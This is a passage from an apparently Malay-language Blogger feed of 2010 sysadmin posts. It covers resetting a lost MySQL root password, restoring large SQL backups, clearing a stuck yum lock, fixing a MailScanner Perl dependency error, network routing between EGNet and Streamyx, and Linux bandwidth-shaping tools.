stop dulu mysql&lt;br /&gt;&amp;gt; /etc/init.d/mysqld stop&lt;br /&gt;&lt;br /&gt;OUTPUT : &lt;br /&gt;&lt;pre&gt;Stopping MySQL database server: mysqld.&lt;/pre&gt;&lt;pre&gt;&amp;nbsp;&lt;/pre&gt;2) Seterusnya start mysql dalam safe mode&lt;br /&gt;&amp;gt; mysqld_safe --skip-grant-tables&lt;br /&gt;&lt;br /&gt;OUTPUT : &lt;br /&gt;&lt;pre&gt;[1] 5988&lt;br /&gt;Starting mysqld daemon with databases from /var/lib/mysql&lt;br /&gt;mysqld_safe[6025]: started&lt;/pre&gt;&lt;br /&gt;3) Kendian, anda boleh login user root tanpa password&lt;br /&gt;&amp;gt; mysql --user=root mysql&lt;br /&gt;&lt;br /&gt;OUTPUT :&lt;br /&gt;&lt;pre&gt;Welcome to the MySQL monitor.  Commands end with ; or \g.&lt;br /&gt;Your MySQL connection id is 1 to server version: 4.1.15-Debian_1-log&lt;br /&gt;&lt;br /&gt;Type 'help;' or '\h' for help. Type '\c' to clear the buffer.&lt;/pre&gt;&lt;pre&gt;mysql&amp;gt;&lt;/pre&gt;&lt;pre&gt;&amp;nbsp;&lt;/pre&gt;&lt;br /&gt;4) Lepas te taip la command berikut&lt;br /&gt;mysql &amp;gt; update user set Password=PASSWORD('new-password') where user='root'; [ENTER]&lt;br /&gt;mysql &amp;gt; flush  privileges; [ENTER]&lt;br /&gt;mysql &amp;gt; exit; [ENTER]&lt;br /&gt;&lt;br /&gt;5) Lepas tu stop mysqld safe mode tadi&lt;br /&gt;&amp;gt; /etc/init.d/mysqld stop&lt;br /&gt;&lt;br /&gt;OUTPUT :&lt;br /&gt;&lt;pre&gt;Stopping MySQL database server: mysqld&lt;br /&gt;STOPPING server from pid file /var/run/mysqld/mysqld.pid&lt;br /&gt;mysqld_safe[6186]: ended&lt;br /&gt;&lt;br /&gt;[1]+  Done                    mysqld_safe --skip-grant-tables&lt;/pre&gt;&lt;pre&gt;&amp;nbsp;&lt;/pre&gt;&lt;br /&gt;6) Seterusnya start semula mysqld anda&lt;br /&gt;&amp;gt; /etc/init.d/mysqld start&lt;br /&gt;&lt;br /&gt;7) Selesai dah reset password root anda. Cuba test.&lt;br /&gt;&lt;code&gt;# mysql -u root -p&lt;/code&gt;&lt;br /&gt;&lt;code&gt;&amp;nbsp;&lt;/code&gt; &lt;br /&gt;Ingat2 le lepas ni..&lt;br /&gt;&lt;br /&gt;--------------------------------------------------------------------------------------------- &lt;br /&gt;&lt;br /&gt;Isu # 2 : Anda tergatal tangan terdelete abis satu folder default data dan file apps mysql, tapi anda selamat sebab ada backup data..&lt;br /&gt;&lt;br /&gt;* Jangan lupa buat backup /etc/my.cnf sebelum ikut step di bawah&lt;br /&gt;&lt;br /&gt;Caranye :&lt;br /&gt;&lt;br /&gt;1) Anda kena buangkan dulu mysql sedia ada yang dah diinstall dalam server untuk elakkan kekeliruan :&lt;br /&gt;# yum remove mysql*&lt;br /&gt;&lt;br /&gt;2) Kendian install mysql baru&lt;br /&gt;&lt;code&gt;# yum install mysql-server mysql&lt;/code&gt;&lt;br /&gt;&lt;code&gt;&amp;nbsp;&lt;/code&gt; &lt;br /&gt;3) Lepas dah siap install tu run command ni pulak&lt;br /&gt;&lt;code&gt;# chkconfig mysqld on&lt;br /&gt;# /etc/init.d/mysqld start&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;4) Sekarang kita anggap root user anda belum ada password&lt;br /&gt;&lt;code&gt;# mysqladmin -u root password NEWPASSWORD&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;code&gt;&lt;/code&gt;Kalau dah ada root password dan nak tukar password baru, gini lak caranya nak change &lt;br /&gt;&lt;pre&gt;# mysqladmin -u root -p'oldpassword' password newpass&lt;/pre&gt;&lt;br /&gt;5)&amp;nbsp; So skang ni aku tanak tunjuk cara nak restore DATA guna phpmyadmin sebab rasanya semua org dah tau. Aku akan tunjukkan cara untuk restore data guna command line. Memula make sure data backup tu dah ada dalam mana2 folder dalam server tadi.&lt;br /&gt;&lt;code&gt;# mysqladmin -u root -p&lt;/code&gt;&lt;br /&gt;&lt;code&gt;mysql &amp;gt; CREATE TABLE zorro;&lt;/code&gt;&lt;br /&gt;&lt;code&gt;mysql &amp;gt; exit;&lt;/code&gt;&lt;br /&gt;&lt;code&gt;# &lt;/code&gt;mysql -u root -p zorro &amp;lt; /data/backup/zorro.sql&lt;br /&gt;&lt;br /&gt;6) Data anda mungkin melibatkan saiz yang teramat besar dan mungkin sampai beratus MB. Apabila try nak import file .sql yang bersaiz besar beratus MB ni, error berikut akan keluar :&lt;br /&gt;(* lebih kurang) packet too large&lt;br /&gt;&lt;br /&gt;So anda kena ubah file my.cnf bagi membolehkan import packet besar. Saiz packet paling besar leh transfer ke MySQL 5 hanyalah 1GB sahaja. Defaultnya hanya 16MB. Tapi rasanya dah mencukupi dengan saiz 1GB tu...&lt;br /&gt;# nano /etc/my.cnf&lt;br /&gt;copy dulu apa yang ada dalam my.cnf backup tadi ke dalam file tu.&lt;br /&gt;Kendian tambah row ni kat bawah label sedia ada :&lt;br /&gt;[mysqld]&lt;br /&gt;&lt;br /&gt;set-variable = max_allowed_packet=32M&lt;br /&gt;&lt;br /&gt;7) Restart mysql&lt;br /&gt;# /etc/init.d/mysqld restart&lt;br /&gt;&lt;br /&gt;8) Sekarang anda dah boleh import backup data yang bersaiz besau ratusan MB tu. Jika besar lagi, besarkan saiz packet allowed tu dalam my.cnf dan jgn lupa restart semula mysqld.&lt;br /&gt;&lt;br /&gt;---------------------------------------------------------------------------------------------&lt;br /&gt;&lt;br /&gt;Selamat berjaya! &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;~ Be a Creator Not a User ~&lt;br /&gt;http://muzzotechspot.blogspot.com&lt;br /&gt;http://muzzoshah.blogspot.com&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/907989761847606873-867002631014430391?l=muzzotechspot.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://muzzotechspot.blogspot.com/feeds/867002631014430391/comments/default' title='Catat Ulasan'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=907989761847606873&amp;postID=867002631014430391&amp;isPopup=true' title='0 Ulasan'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/907989761847606873/posts/default/867002631014430391'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/907989761847606873/posts/default/867002631014430391'/><link rel='alternate' type='text/html' href='http://muzzotechspot.blogspot.com/2010/06/something-db-admin-need-to-know-about.html' title='Something DB Admin Need to Know About MySQL'/><author><name>muzzo</name><uri>http://www.blogger.com/profile/07681971727871823869</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/_Pk16G7RhVRE/SbZginnrT5I/AAAAAAAAATg/2z8zrwlSzzM/S220/muzzoshah.JPG'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://2.bp.blogspot.com/_Pk16G7RhVRE/TBrrFjuTfxI/AAAAAAAAAnY/0X-7Mc9y9Tw/s72-c/mysql1.png' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-907989761847606873.post-7251214218478160167</id><published>2010-05-03T15:24:00.001+08:00</published><updated>2010-05-03T17:32:28.391+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='CentOS'/><category scheme='http://www.blogger.com/atom/ns#' term='Command Line'/><category scheme='http://www.blogger.com/atom/ns#' term='Open Source'/><title type='text'>Another application is holding yum lock ........</title><content type='html'>&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://1.bp.blogspot.com/_Pk16G7RhVRE/S954SXEnWkI/AAAAAAAAAnQ/a53raNyFQx0/s1600/yum.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://1.bp.blogspot.com/_Pk16G7RhVRE/S954SXEnWkI/AAAAAAAAAnQ/a53raNyFQx0/s320/yum.jpg" /&gt;&lt;/a&gt;&lt;/div&gt;Kali ni aku nank short update cara-cara nak handle masalah keluar mesej another application is holding yum lock apabila kita nak install / update software menggunakan yum pada command line.&lt;br /&gt;&lt;br /&gt;Mula-mula gunakan cara pertama ni yang aku rasa mungkin boleh dibuat disesetengah server dan mungkin tak menjadi kat sesetengah server lain. Ia bergantung kepada keliatan yum process yang sedang running tu.&lt;br /&gt;&lt;br /&gt;1) Kenalpasti PID yum&lt;br /&gt;# ps aux | grep yum&lt;br /&gt;PID process adalah disebelah nama use &lt;br /&gt;2) Untuk kill process yum sedia ada tu :&lt;br /&gt;# kill &lt;insert number="" pid=""&gt;&lt;br /&gt;3) Semak semula process tu ada ke tak lagi :&lt;br /&gt;# ps aux | grep yum&lt;br /&gt;&lt;/insert&gt;&lt;br /&gt;&lt;br /&gt;Berikut lak cara tambahan dari Mr Tar dari sabah :&lt;br /&gt;&lt;br /&gt;1. # killall yum&lt;br /&gt;kalu x dpt..&lt;br /&gt;2. # Kill ProcessID&lt;br /&gt;kalu x dpt lagi..&lt;br /&gt;3. kill -9 processID (ini kill secara paksa)&lt;br /&gt;kalu x dpt..&lt;br /&gt;barulah try cara ketiga&lt;br /&gt;&lt;br /&gt;Jika cara kat atas tu tak jadi di environment anda, guna cara dibawah pulak.&lt;br /&gt;&lt;br /&gt;1) # cd /var/run/&lt;br /&gt;2) # dir &lt;br /&gt;Cari fail 'yum.pid' dalam folder tu&lt;br /&gt;3) # rm -f yum.pid&lt;br /&gt;4) # dir&lt;br /&gt;Pastikan fail 'yum.pid' dah di padamkan&lt;br /&gt;5) Seterusnya :&lt;br /&gt;# yum update&lt;br /&gt;Process update yum anda akan berfungsi semula.&lt;br /&gt;&lt;br /&gt;Biasanya cara ketiga ni insyaAllah berjaya sebab aku try cara 1 tak berjaya, then terus ke cara ketiga.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Jika tak berjaya juga, gunalah last choice ni :&lt;br /&gt;#shutdown -r now&lt;br /&gt;Restart server anda, pasti lepas tu fresh semula...&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;~ Be a Creator Not a User ~&lt;br /&gt;http://muzzotechspot.blogspot.com&lt;br /&gt;http://muzzoshah.blogspot.com&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/907989761847606873-7251214218478160167?l=muzzotechspot.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://muzzotechspot.blogspot.com/feeds/7251214218478160167/comments/default' title='Catat Ulasan'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=907989761847606873&amp;postID=7251214218478160167&amp;isPopup=true' title='0 Ulasan'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/907989761847606873/posts/default/7251214218478160167'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/907989761847606873/posts/default/7251214218478160167'/><link rel='alternate' type='text/html' href='http://muzzotechspot.blogspot.com/2010/05/another-application-is-holding-yum-lock.html' title='Another application is holding yum lock ........'/><author><name>muzzo</name><uri>http://www.blogger.com/profile/07681971727871823869</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/_Pk16G7RhVRE/SbZginnrT5I/AAAAAAAAATg/2z8zrwlSzzM/S220/muzzoshah.JPG'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/_Pk16G7RhVRE/S954SXEnWkI/AAAAAAAAAnQ/a53raNyFQx0/s72-c/yum.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-907989761847606873.post-5196570398308012789</id><published>2010-04-29T16:12:00.000+08:00</published><updated>2010-04-29T16:12:56.073+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Network'/><category scheme='http://www.blogger.com/atom/ns#' term='MySQL'/><category scheme='http://www.blogger.com/atom/ns#' term='MySpamGuard'/><category scheme='http://www.blogger.com/atom/ns#' term='CentOS'/><category scheme='http://www.blogger.com/atom/ns#' term='PHP'/><title type='text'>Mailscanner error Can't locate OLE/Storage_Lite.pm</title><content type='html'>Sejak dari isnin lepas la, aku start update server MySpamGuard di opis. Takde org mencare ke server tu..kesian. Bapaksler slownyer. RAM 2GB, Processor 2 Unit.&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://1.bp.blogspot.com/_Pk16G7RhVRE/S9k_fY6IDvI/AAAAAAAAAnI/O8-gR5Vd2O4/s1600/mailscanner_logo2.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://1.bp.blogspot.com/_Pk16G7RhVRE/S9k_fY6IDvI/AAAAAAAAAnI/O8-gR5Vd2O4/s320/mailscanner_logo2.png" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;Problem :&lt;br /&gt;1) Slow giler nak run ssh&lt;br /&gt;2) Trafik tinggi running dalam server&lt;br /&gt;3) Nak buat netbackup pun ada masalah sebab masa ambil lama sangat sampai failed backup sebab load server tinggi masa dibuat backup tu&lt;br /&gt;&lt;br /&gt;Tindakan aku :&lt;br /&gt;1) Copy repo terbaik dari server RHEL dan paste dalam server MSPG dan memang sekse gile nak masuk dan menunggu loading keluar senarai file...erghh..&lt;br /&gt;2) Semak spam lint test, dan log server : tail -f /var/log/messages&lt;br /&gt;3) Dapati ada error dalam config : /etc/MailScanner/MailScanner.conf dan juga clamav yang outdated.&lt;br /&gt;4) Review dan googling dapati clamav adalah juga antara penyebab server jadi slow sebab ada bugs dalam version sedia ada di server tu. Current version adalah 0.96, tapi server tu guna version 0.91.2&lt;br /&gt;5) So buat yum update clamav (aku tak pernah buat...try je) : yum update clamav&lt;br /&gt;6) Clean install dan siap update DB sekali. Aku dah seronok..tapi server masih slow..&lt;br /&gt;7) Aku prepare nak update semua software dalam server tu sebab banyak yang tak pernah update&lt;br /&gt;8) Aku suka guna webmin utk update software2 dlm svr linux. Senang nak review software apa perlu update patch terkini dan software apa yang available utk update tu. Aku pun ingat2 lupe gak command linux ni..&lt;br /&gt;9) Update webmin (guna repo webmin) : yum update webmin&lt;br /&gt;10) Selesai update aku buka webmin dan tengok kt first page tu ada summary software perlu di update kepada patch terkini...423 semuanya...!!!!&lt;br /&gt;11) Aku pun klik dan klik dan update semuanya...start dari petang isnin...sehinggalah pagi Rabu barulah siap semuanya..gilos kau...nak update server yang sememangnya dah slow tu..memang mencabar.&lt;br /&gt;12) Dah siap update tu semua belum laju lagi server tu. So aku restart server tu. Lepas start semula je, nak masuk ssh pun dah makin laju, nak masuk winscp pun takde masalah. Sebelum ni banyak kali gak restart server tu tapi sama je..&lt;br /&gt;13) Bila dah restart tu aku tengok MailScanner unused...ALAMAK!..gile bepeloh..&lt;br /&gt;14) Tengok error yang keluar macam ni :&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;Can't locate OLE/Storage_Lite.pm in @INC (@INC contains:  /usr/lib/MailScanner  /usr/lib/perl5/site_perl/5.8.8/i386-linux-thread-multi  /usr/lib/perl5/site_perl/5.8.8 /usr/lib/perl5/site_perl  /usr/lib/perl5/vendor_perl/5.8.8/i386-linux-thread-multi  /usr/lib/perl5/vendor_perl/5.8.8 /usr/lib/perl5/vendor_perl  /usr/lib/perl5/5.8.8/i386-linux-thread-multi /usr/lib/perl5/5.8.8 .  /usr/lib/MailScanner) at /usr/lib/MailScanner/MailScanner/Message.pm  line 51.&lt;br /&gt;BEGIN failed--compilation aborted at  /usr/lib/MailScanner/MailScanner/Message.pm line 51.&lt;br /&gt;Compilation  failed in require at /usr/sbin/MailScanner line 82&lt;/blockquote&gt;15) Fikiran bercelaru hati berdebar...giler...dari kui 10pg lepas restart tu sampaile kui 3 ptg masih belum up lagi server MYSP...masak aku kalau tak setel sebab emel luar berpusu-pusu nak masuk htr ke pengguna emel ofis aku yang glamer ni..almaklum le...geng2 tertentu ni daftar emel pejabat nak guna FACEBOOK..whats!!!..&lt;br /&gt;16) So aku pun cembiasa googling cari info solution. Takde solution yang direct kepada error message aku tu. So aku saspek mesti ada kaitan dengan PERL yang aku update kt server tu. Risau takut tak compatible. Bila googling tgk seme kata takde masalah walau guna PERL versi baru pun.&lt;br /&gt;17) Tengok pada error tu aku google pasal OLE/Storage_Lite dan aku try update 'perl-OLE-Storage_Lite' sebab macam dari error message tu ada kaitan dengan software tu. So : yum update perl-OLE-Storage_Lite&lt;br /&gt;18) Dah siap update, aku restart semula server aku dan alhamdulillah MailScanner dah boleh start&lt;br /&gt;19) Masa tu aku check dalam hold folder postfix (emel yang send dari luar akan masuk folder tu sebelum di scan). Caranya : ls -all /var/spool/postfix/hold | wc -l&lt;br /&gt;20) ada mau dekat 240++ emel tengah queue tunggu nak di scan..aiyak...&lt;br /&gt;21) Then aku edit config file dan masukkan senarai blacklist terbaru dalam (/etc/MailScanner/rules/spam.blacklist.conf) Kalau whitelist (/etc/MailScanner/rules/spam.whitelist.conf). Seterunsya start MailScanner : /etc/init.d/MailScanner start&lt;br /&gt;22) Keluar error ni pulak tapi MailScanner dah leh start :&lt;br /&gt;MailScanner:&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Please move your "Lockfile Dir" setting in  MailScanner.conf.&lt;br /&gt;It should point outside /tmp, preferably  /var/spool/MailScanner/incoming/Locks&lt;br /&gt;&amp;nbsp;22) Tengok instruction, create folder tu :&lt;br /&gt;mkdir /var/spool/MailScanner/incoming/Locks&lt;br /&gt;chown postfix.postfix /var/spool/MailScanner/incoming/Locks&lt;br /&gt;Ubah configuration dan MailScanner.conf&lt;br /&gt;ubah dari Lockfile Dir = /tmp kepada Lockfile Dir = /var/spool/MailScanner/incoming/Locks&lt;br /&gt;23) Restart semula MailScanner dan&amp;nbsp; tengok log... ada error ni plak perasan :&lt;br /&gt;Apr 28 11:39:51 spamsvr MailScanner[5723]: User's home directory  /var/spool/postfix is not writable&lt;br /&gt;Apr 28 11:39:51 spamsvr  MailScanner[5723]: You need to set the "SpamAssassin User State Dir" to a  directory that the "Run As User" can write to&lt;br /&gt;24) So aku tukar owner kepada postfix&lt;br /&gt;chown postfix.postfix /var/spool/postfix&lt;br /&gt;25) Restart semula MailScanner dan tiada lagi error tu.&lt;br /&gt;26) Log pun laju je check spam...fuhh alhamdulillah setel..&lt;br /&gt;&lt;br /&gt;KESIMPULANNYA :&lt;br /&gt;1) Selalulah check log sebab pasti ada hint kat situ ada yang problem&lt;br /&gt;2) Selalu buat spam lint test (dalam MailWatch &amp;gt; Tools/Links &amp;gt; SpamAssassin Lint (Test))&lt;br /&gt;3) Selalulah update patch server bagi software2 kecik yang running background kt server tu.&lt;br /&gt;4) Selalulah patch perisian UTAMA fungsi server tu macam MYSP ni MailScanner, Spamassassin, Clamav, Postfix, MySQL, httpd.&lt;br /&gt;&lt;br /&gt;Selamat mencuba.&lt;br /&gt;&lt;br /&gt;~ Be a Creator Not a User ~&lt;br /&gt;http://muzzotechspot.blogspot.com&lt;br /&gt;http://muzzoshah.blogspot.com&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/907989761847606873-5196570398308012789?l=muzzotechspot.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://muzzotechspot.blogspot.com/feeds/5196570398308012789/comments/default' title='Catat Ulasan'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=907989761847606873&amp;postID=5196570398308012789&amp;isPopup=true' title='0 Ulasan'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/907989761847606873/posts/default/5196570398308012789'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/907989761847606873/posts/default/5196570398308012789'/><link rel='alternate' type='text/html' href='http://muzzotechspot.blogspot.com/2010/04/mailscanner-error-cant-locate.html' title='Mailscanner error Can&apos;t locate OLE/Storage_Lite.pm'/><author><name>muzzo</name><uri>http://www.blogger.com/profile/07681971727871823869</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/_Pk16G7RhVRE/SbZginnrT5I/AAAAAAAAATg/2z8zrwlSzzM/S220/muzzoshah.JPG'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/_Pk16G7RhVRE/S9k_fY6IDvI/AAAAAAAAAnI/O8-gR5Vd2O4/s72-c/mailscanner_logo2.png' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-907989761847606873.post-93176316594237995</id><published>2010-04-28T00:15:00.001+08:00</published><updated>2010-04-28T10:13:39.320+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Network'/><category scheme='http://www.blogger.com/atom/ns#' term='Internet'/><title type='text'>Integration EGNet and Streamyx</title><content type='html'>Kali ni aku nak terangkan cara-cara nak buat&amp;nbsp; integration ni.&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/_Pk16G7RhVRE/S9cNg_PbVcI/AAAAAAAAAm0/fRiHlJsjWwo/s1600/Graphic_Integration3.gif" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://4.bp.blogspot.com/_Pk16G7RhVRE/S9cNg_PbVcI/AAAAAAAAAm0/fRiHlJsjWwo/s320/Graphic_Integration3.gif" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;Keperluan di lokasi Streamyx :&lt;br /&gt;1) Modem streamyx + router&lt;br /&gt;2) Switch&lt;br /&gt;3) PC-PC Client&lt;br /&gt;&lt;br /&gt;&amp;nbsp;Keperluan EGNet&lt;br /&gt;1) Firewall EGNet (jika ada lagi elok, kalau takde pun takpe cuma mcm tkde kawalan lak nk masuk EGNet dari public network)&lt;br /&gt;2) Router EGNet&lt;br /&gt;3) Modem EGNet&lt;br /&gt;&lt;br /&gt;So caranya :&lt;br /&gt;1) Kita dah anggap line EGNet dan Streamyx dah berjalan lancar secara berasingan tanpa ada masalah&lt;br /&gt;2) So sambungkan modem + router streamyx ke switch, firewall EGNet ke switch, PC-PC ke switch.&lt;br /&gt;3) Setting pada modem + router dan tetapkan routing gateway di modem tu kepada ip LAN khas untuk firewall EGNet bagi sebarang akses kepada ip sistem aplikasi EGNet.&lt;br /&gt;IP sistem : 172.168.3.2&lt;br /&gt;IP Gateway LAN Streamyx : 192.168.1.254&lt;br /&gt;IP Firewall EGNet : 192.168.1.10&lt;br /&gt;Routing apabila user akses sistem :&amp;nbsp; &lt;br /&gt;172.168.3.2 -&amp;gt; 192.168.1.254 255.255.255.0 -&amp;gt; 192.168.1.10&lt;br /&gt;&lt;br /&gt;Kaedah sebegini digunakan kerana mengikut pemahaman konsep routing dan gateway.&lt;br /&gt;&lt;br /&gt;- Setiap PC client akan ditetapkan host file IP sistem dan nama sistem berkenaan.&lt;br /&gt;- Apabila PC client cuba akses kepada IP sistem tersebut, ia akan pergi ke gateway yakni modem yang juga router bagi rangkaian streamyx. Kita perasan masa setting gateway PC tu kita akan masukkan IP modem + router.&lt;br /&gt;- So apabila sampai ke modem + router tu, ia akan interpret supaya setiap kali terima request akses ke IP Sistem tu, maka konfigurasi routing dlm modem + router tu akan alihkan trafik tu kepada firewallEGNet yang telah kita tetapkan ipnya sama VLAN dengan modem + router streamyx tu tadi.&lt;br /&gt;- Bila dah hantar trafik ke sana, maka setellah utk terus akses ke sistem tu menggunakan EGNet.&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/_Pk16G7RhVRE/S9eZuYFxOCI/AAAAAAAAAnE/gP1aqIXoQUM/s1600/integSTEG.JPG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="202" src="http://4.bp.blogspot.com/_Pk16G7RhVRE/S9eZuYFxOCI/AAAAAAAAAnE/gP1aqIXoQUM/s320/integSTEG.JPG" width="320" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;Setting pada modem ni berbeza-beza, tapi cuba la cari kat bahagian menu routing. Anda boleh bayangkan flow routing tu dari cth di atas ni dan sesuaikan dengan konfigurasi modem + router masing-masing.&lt;br /&gt;&lt;br /&gt;Selamat mencuba..&lt;br /&gt;&lt;br /&gt;~ Be a Creator Not a User ~&lt;br /&gt;http://muzzotechspot.blogspot.com&lt;br /&gt;http://muzzoshah.blogspot.com&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/907989761847606873-93176316594237995?l=muzzotechspot.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://muzzotechspot.blogspot.com/feeds/93176316594237995/comments/default' title='Catat Ulasan'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=907989761847606873&amp;postID=93176316594237995&amp;isPopup=true' title='0 Ulasan'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/907989761847606873/posts/default/93176316594237995'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/907989761847606873/posts/default/93176316594237995'/><link rel='alternate' type='text/html' href='http://muzzotechspot.blogspot.com/2010/04/integration-egnet-and-streamyx.html' title='Integration EGNet and Streamyx'/><author><name>muzzo</name><uri>http://www.blogger.com/profile/07681971727871823869</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/_Pk16G7RhVRE/SbZginnrT5I/AAAAAAAAATg/2z8zrwlSzzM/S220/muzzoshah.JPG'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/_Pk16G7RhVRE/S9cNg_PbVcI/AAAAAAAAAm0/fRiHlJsjWwo/s72-c/Graphic_Integration3.gif' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-907989761847606873.post-5072695300467241830</id><published>2010-04-27T15:24:00.001+08:00</published><updated>2010-04-27T23:36:50.414+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Network'/><category scheme='http://www.blogger.com/atom/ns#' term='Open Source'/><title type='text'>Bandwidth Shaping with linux</title><content type='html'>Sapa kata linux takde software untuk buat bandwith shaping. Sebelum aku terangkan antara tools linux yang ada, aku cite sikit pasal bandwidth shaping ni. Bandwidth shaping tujuannya adalah untuk kita membuat agihan bandwidth di dalam rangkaian berdasarkan aplikasi, port atau user tertentu. Tujuannya dibuat agihan ini adalah untuk memastikan bandwidth dapat digunakan sama rata mengikut kepentingan tertentu berdasarkan penetapan aplikasi, port atau user.&lt;br /&gt;&lt;br /&gt;Kalau diikutkan sebenarnya kadangkala ada orang panggil traffic shaping, packet shaping, url shaping dan macam2 lagi. Fungsinya semua adalah sama untuk membuat agihan berdasarkan kepentingan dan bandwidth.&lt;br /&gt;&lt;br /&gt;Contoh shaping aplikasi seperti aplikasi voip, web, video streaming, oracle, MSSQL dll&lt;br /&gt;Contoh port pula seperti port 80 (http), port 21 (ftp), port 22 (ssh), ICMP (ping), port 443 (https) dll&lt;br /&gt;Contoh user pula adalah agihan bandwidth berdasarkan VLAN rangkaian yang juga mewakili sekumpulan pengguna. Kalau nak direct kepada orang2 tertentu pun boleh.&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://2.bp.blogspot.com/_Pk16G7RhVRE/S9b-qSvwE6I/AAAAAAAAAms/xViuCdD5OyE/s1600/sol_qos_lrg.gif" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://2.bp.blogspot.com/_Pk16G7RhVRE/S9b-qSvwE6I/AAAAAAAAAms/xViuCdD5OyE/s320/sol_qos_lrg.gif" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;Bagi Linux, sejak versi kernel 2.2 lagi memang dah ada free tools dalamnya untuk buat network trafic shaping. Sejak versi Linux kernel 2.4.2 ke atas shaping network trafic di support sepenuhnya tanpa perlu patch apa2 lagi dah.&lt;br /&gt;&lt;br /&gt;Tools yang diperlukan kena patch tu sebenarnya hanya pakej iproute2 je.&lt;br /&gt;&lt;br /&gt;Sesetengah menambah tcng untuk memudahkan konfigurasi.&lt;br /&gt;Selain tu, penggunaan iptables dah cukup power untuk buat shaping ni. Tapi pengetahuan tentang routing dan unix command yang tinggi amat diperlukan. Tapi memang berbaloi..&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;So, sini aku senaraikan tools dan website untuk dirujuk :&lt;br /&gt;&lt;br /&gt;1) IPTABLES - &lt;a href="http://www.iptables.org/"&gt;HERE&lt;/a&gt;&lt;br /&gt;2) TRAFFIC CONTROL NEXT GENERATION - &lt;a href="http://tcng.sourceforge.net/"&gt;HERE&lt;/a&gt;&lt;br /&gt;3) DIFFERENTIATED SERVICES ON LINUX - &lt;a href="http://diffserv.sourceforge.net/"&gt;HERE&lt;/a&gt;&lt;br /&gt;4) LINUX ADVANCE ROUTING AND TRAFFIC CONTROL - &lt;a href="http://lartc.org/"&gt;HERE&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Namun percaya atau tidak, kebanyakan perisian atau applliance network trafic shaping ni backend dia mesti guna linux kernel. Sebab ia murah dan power.&lt;br /&gt;&lt;br 